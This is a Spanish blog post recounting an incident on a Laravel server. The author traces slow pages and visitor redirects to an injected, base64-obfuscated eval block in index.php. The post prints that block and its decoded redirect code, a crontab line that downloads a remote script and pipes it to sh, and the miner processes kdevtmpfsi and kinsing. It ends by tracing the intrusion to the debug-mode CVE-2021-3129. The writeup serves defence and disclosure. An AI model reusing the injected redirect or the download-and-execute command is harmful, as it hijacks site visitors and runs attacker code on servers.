Escenario
Desde hace años tengo una aplicación web apoyada en Laravel, que mantengo con frecuencia. En el servidor corren dos instancias del framework, una para la aplicación principal con Laravel 6, y otra para un API que desplegué hace poco con Laravel 7.Problema
Llevo unos días notando que las páginas tardan más en cargarse, problema que achaco a la saturación de la base de datos y no doy mayor importancia. Hace unos días un amigo me mostró como al intentar entrar en la página fue dirigido a otra, pero lo achaqué a un problema de su teléfono. Decido acceder al servidor para echar un vistazo a sus recursos. No noto nada raro hasta que me da por comprobar si el fichero de entrada de la aplicación, index.php, ha sido modificado. Como está bajo control de versiones basta con hacer un git diff HEAD public/index.php:
1 2 3 4 5 6 7 |
diff --git a/public/index.php b/public/index.php index 05322e9..dc2c4fd 100644 --- a/public/index.php +++ b/public/index.php @@ -1,4 +1,5 @@ <?php +/*aeR4Choc_start*/@eval(base64_decode('aWYoIWRlZmluZWQoImNoYWVKb3U3IikpewogICAgZGVmaW5lKCJjaGFlSm91NyIsIDEpOwogICAgZnVuY3Rpb24gaXNNb2JpbGUoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdhbmRyb2lkJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnYmxhY2tiZXJyeScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwaG9uZScpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2lwYWQnKSAhPT0gZmFsc2UKICAgICAgICAgICAgfHwgc3RycG9zKCR1YWdlbnRTdHIsICdpcG9kJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnb3BlcmEgbWluaScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2llTW9iaWxlJykgIT09IGZhbHNlKXsKICAgICAgICAgICAgcmV0dXJuIHRydWU7CiAgICAgICAgfQogICAgICAgIHJldHVybiBmYWxzZTsKICAgIH0KCiAgICBmdW5jdGlvbiBpc0Rlc2t0b3AoJHVhZ2VudFN0cil7CiAgICAgICAgaWYoc3RycG9zKCR1YWdlbnRTdHIsICdlZGdlJykgIT09IGZhbHNlIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnbXNpZScpICE9PSBmYWxzZQogICAgICAgICAgICB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ29wcicpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9taXVtJykgIT09IGZhbHNlCiAgICAgICAgICAgIHx8IHN0cnBvcygkdWFnZW50U3RyLCAnZmlyZWZveCcpICE9PSBmYWxzZSB8fCBzdHJwb3MoJHVhZ2VudFN0ciwgJ2Nocm9tZScpICE9PSBmYWxzZSl7CiAgICAgICAgICAgIHJldHVybiB0cnVlOwogICAgICAgIH0KICAgICAgICByZXR1cm4gZmFsc2U7CiAgICB9CgogICAgJHJlZGlyVG8gPSAiaHR0cHM6Ly93d3cucm94b2Vub3MueHl6IjsKICAgICRjaGVja0Nvb2tSZWRpclN0ciA9ICJhZU5lZThwaSI7CiAgICAkcmVkaXJlY3RBbGxvdyA9IHRydWU7CiAgICBmb3JlYWNoICgkX0NPT0tJRSBhcyAkY29va0tleT0+JGNvb2tWYWwpewogICAgICAgIGlmIChzdHJwb3MoJGNvb2tLZXksICd3b3JkcHJlc3NfbG9nZ2VkX2luJykgIT09IGZhbHNlIHx8ICRjb29rS2V5ID09ICRjaGVja0Nvb2tSZWRpclN0cikgewogICAgICAgICAgICAkcmVkaXJlY3RBbGxvdyA9IGZhbHNlOwogICAgICAgICAgICBicmVhazsKICAgICAgICB9CiAgICB9CgogICAgJHVhZ2VudCA9IHN0cnRvbG93ZXIoJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKTsKCiAgICBpZiAoJHJlZGlyZWN0QWxsb3cpewogICAgICAgIGlmKGlzTW9iaWxlKCR1YWdlbnQpIHx8IGlzRGVza3RvcCgkdWFnZW50KSkgewogICAgICAgICAgICBzZXRjb29raWUoJGNoZWNrQ29va1JlZGlyU3RyLCAiMSIsIHRpbWUoKSArIDYwNDgwMCk7CiAgICAgICAgICAgIGhlYWRlcigiTG9jYXRpb246ICRyZWRpclRvIik7CiAgICAgICAgICAgIGRpZTsKICAgICAgICB9CiAgICB9Cn0='));/*aeR4Choc_end*/ |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 |
if(!defined("chaeJou7")){ define("chaeJou7", 1); function isMobile($uagentStr){ if(strpos($uagentStr, 'android') !== false || strpos($uagentStr, 'blackberry') !== false || strpos($uagentStr, 'iphone') !== false || strpos($uagentStr, 'ipad') !== false || strpos($uagentStr, 'ipod') !== false || strpos($uagentStr, 'opera mini') !== false || strpos($uagentStr, 'ieMobile') !== false){ return true; } return false; } function isDesktop($uagentStr){ if(strpos($uagentStr, 'edge') !== false || strpos($uagentStr, 'msie') !== false || strpos($uagentStr, 'opr') !== false || strpos($uagentStr, 'chromium') !== false || strpos($uagentStr, 'firefox') !== false || strpos($uagentStr, 'chrome') !== false){ return true; } return false; } $redirTo = "https://www.roxoenos.xyz"; $checkCookRedirStr = "aeNee8pi"; $redirectAllow = true; foreach ($_COOKIE as $cookKey=>$cookVal){ if (strpos($cookKey, 'wordpress_logged_in') !== false || $cookKey == $checkCookRedirStr) { $redirectAllow = false; break; } } $uagent = strtolower($_SERVER['HTTP_USER_AGENT']); if ($redirectAllow){ if(isMobile($uagent) || isDesktop($uagent)) { setcookie($checkCookRedirStr, "1", time() + 604800); header("Location: $redirTo"); die; } } } |
Solución
Lo primero que hago es borrar el bloque de código incrustado. Pero al cabo de unos segundos vuelve a aparecer. No veo ningún proceso sospechoso corriendo en el servidor así que imagino que el causante de la regeneración del código debe de ser una tarea cron. La aplicación web usa el usuario www-data, y es el primero cuyo crontab compruebo con sudo nano /var/spool/cron/crontabs/www-data. Éste el contenido:
1 |
* * * * * wget -q -O - http://195.3.146.118/lr.sh | sh > /dev/null 2>&1 |
Así que cada dos por tres la tarea programada descarga y ejecuta un script misterioso. Pruebo a descargar el script pero wget devuelve un error ( failed: Connection refused). De haber tener tiempo investigaría un poco más, pero ahora quiero deshacerme del servidor. Ya no me fío. Hace tiempo que quiero probar LightSail de AWS, ésta puede ser una buena ocasión. Dos horas después lo tengo todo funcionando en la nueva máquina. Y un poco más tarde vuelvo a notar que la aplicación va muy lenta. ¿Cómo puede ser? No traje nada del antiguo servidor, solo el código fuente que está bajo control de versiones en GitHub. No puede ser que haya un trojano en el código…
Cuando accedo al servidor por SSH, un htop informa que el 100% de los recursos de las CPUs está siendo acaparado por dos procesos: kdevtmpfsi y kinsing. Ambos ejecutables están situados en /tmp. ¿Cómo han llegado ahí? Gracias a una búsqueda rápida en Google descubro que se trata de dos miners malvados. De nuevo ha aparecido una tarea cron que descarga y ejecuta un script de una dirección IP. La borro, mato los procesos del malware, borro los ejecutables y a continuación creo dos ficheros con el mismo nombre, pero de solo lectura:
1 2 3 4 5 |
sudo touch /tmp/kdevtmpfsi && touch /tmp/kinsing sudo echo "kdevtmpfsi no se toca" > /tmp/kdevtmpfsi sudo echo "kinsing no se toca" > /tmp/kinsing sudo chmod 0444 /tmp/kdevtmpfsi sudo chmod 0444 /tmp/kinsing |
Estos dos por lo menos no volverán a instalarse. Todavía me queda por averiguar cómo el atacante consigue crear tareas programadas. Tras una inspección minuciosa de los logs de nginx y otra búsqueda en Google. doy con la puerta trasera. En modo DEBUG, Laravel <= v8.4.2 permite la ejecución remota de código (CVE-2021-3129). Y, como no, sin saberlo una de las dos aplicaciones tenía el modo DEBUG igual a TRUE…